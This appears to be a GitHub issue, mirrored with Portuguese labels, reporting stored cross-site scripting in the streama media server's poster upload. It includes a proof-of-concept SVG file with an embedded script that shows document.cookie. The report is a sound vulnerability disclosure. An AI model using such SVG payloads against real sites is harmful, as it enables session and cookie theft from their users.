streamaserver/streama

XSS in the Upload Poster feature using an SVG image

Aberta

#1.088 aberto em 13 de set. de 2021

 (0 comentário) (1 reação) (0 responsável)JavaScript (977 forks)batch import
BugHelp wanted

Métricas do repositório

Stars
 (9.565 estrelas)
Métricas de merge de PR
 (Nenhuma PRs mesclada em 30d)

Description

If uploading a SVG file in the poster file browser containing a script tag, this script tag will be executed when opening the file. example file:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" id="mysvg">
<script>
alert(document.cookie);
</script>
</svg>

Guia do colaborador